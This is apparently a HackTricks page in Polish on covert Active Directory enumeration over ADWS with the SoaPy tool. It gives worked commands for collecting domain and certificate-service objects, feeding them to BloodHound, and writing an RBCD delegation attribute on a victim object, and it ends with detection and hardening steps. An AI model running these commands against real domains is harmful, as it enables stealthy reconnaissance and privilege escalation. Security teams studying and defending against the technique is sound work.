Enumeracja i cicha kolekcja Active Directory Web Services (ADWS)

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest ADWS?

Active Directory Web Services (ADWS) jest włączone domyślnie na każdym kontrolerze domeny od Windows Server 2008 R2 i nasłuchuje na TCP 9389. Mimo nazwy, nie jest zaangażowane HTTP. Zamiast tego, usługa udostępnia dane w stylu LDAP przez zestaw własnych protokołów ramkowych .NET:

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

Ponieważ ruch jest enkapsulowany w tych binarnych ramach SOAP i podróżuje przez rzadko używany port, enumeracja przez ADWS jest znacznie mniej prawdopodobna do inspekcji, filtrowania lub podpisywania niż klasyczny ruch LDAP/389 i 636. Dla operatorów oznacza to:

  • Cichsze rozpoznanie – zespoły niebieskie często koncentrują się na zapytaniach LDAP.
  • Wolność zbierania danych z nie-Windowsowych hostów (Linux, macOS) przez tunelowanie 9389/TCP przez proxy SOCKS.
  • Te same dane, które można uzyskać przez LDAP (użytkownicy, grupy, ACL, schemat itp.) oraz możliwość wykonywania zapisów (np. msDs-AllowedToActOnBehalfOfOtherIdentity dla RBCD).

UWAGA: ADWS jest również używane przez wiele narzędzi GUI/PowerShell RSAT, więc ruch może się mieszać z legalną aktywnością administratora.

SoaPy – Nattywny klient Python

SoaPy jest pełną re-implementacją stosu protokołów ADWS w czystym Pythonie. Tworzy ramki NBFX/NBFSE/NNS/NMF bajt po bajcie, umożliwiając zbieranie danych z systemów podobnych do Unix bez dotykania środowiska uruchomieniowego .NET.

Kluczowe cechy

  • Obsługuje proxy przez SOCKS (przydatne z implantami C2).
  • Szczegółowe filtry wyszukiwania identyczne do LDAP -q '(objectClass=user)'.
  • Opcjonalne operacje zapisów (--set / --delete).
  • Tryb wyjścia BOFHound do bezpośredniego wczytywania do BloodHound.
  • Flaga --parse do upiększania znaczników czasowych / userAccountControl, gdy wymagana jest czytelność dla ludzi.

Instalacja (host operatora)

bash
python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

Stealth AD Collection Workflow

Poniższy workflow pokazuje, jak enumerować obiekty domeny i ADCS przez ADWS, konwertować je na JSON BloodHound i szukać ścieżek ataku opartych na certyfikatach – wszystko z systemu Linux:

  1. Tuneluj 9389/TCP z sieci docelowej do swojego komputera (np. za pomocą Chisel, Meterpreter, SSH dynamic port-forward itp.). Eksportuj export HTTPS_PROXY=socks5://127.0.0.1:1080 lub użyj --proxyHost/--proxyPort SoaPy.

  2. Zbierz obiekt głównej domeny:

bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
  1. Zbierz obiekty związane z ADCS z NC konfiguracji:
bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
  1. Konwertuj na BloodHound:
bash
bofhound -i data --zip   # produces BloodHound.zip
  1. Prześlij ZIP w interfejsie BloodHound i uruchom zapytania cypher, takie jak MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c, aby ujawnić ścieżki eskalacji certyfikatów (ESC1, ESC8 itd.).

Pisanie msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)

bash
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

Połącz to z s4u2proxy/Rubeus /getticket dla pełnego Resource-Based Constrained Delegation łańcucha.

Wykrywanie i Wzmacnianie

Szczegółowe logowanie ADDS

Włącz następujące klucze rejestru na kontrolerach domeny, aby ujawnić kosztowne / nieefektywne wyszukiwania pochodzące z ADWS (i LDAP):

powershell
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD

Wydarzenia będą się pojawiać pod Directory-Service z pełnym filtrem LDAP, nawet gdy zapytanie dotarło przez ADWS.

Obiekty SACL Canary

  1. Utwórz obiekt zastępczy (np. wyłączony użytkownik CanaryUser).
  2. Dodaj Audit ACE dla głównego Everyone, audytowanego na ReadProperty.
  3. Kiedy atakujący wykonuje (servicePrincipalName=*), (objectClass=user) itd., DC emituje Event 4662, który zawiera prawdziwy SID użytkownika – nawet gdy żądanie jest proxy lub pochodzi z ADWS.

Przykład wstępnie zbudowanej reguły Elastic:

kql
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"

Podsumowanie narzędzi

CelNarzędzieUwagi
Enumeracja ADWSSoaPyPython, SOCKS, odczyt/zapis
Wczytywanie BloodHoundBOFHoundKonwertuje logi SoaPy/ldapsearch
Kompromitacja certyfikatuCertipyMoże być proxy przez ten sam SOCKS

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks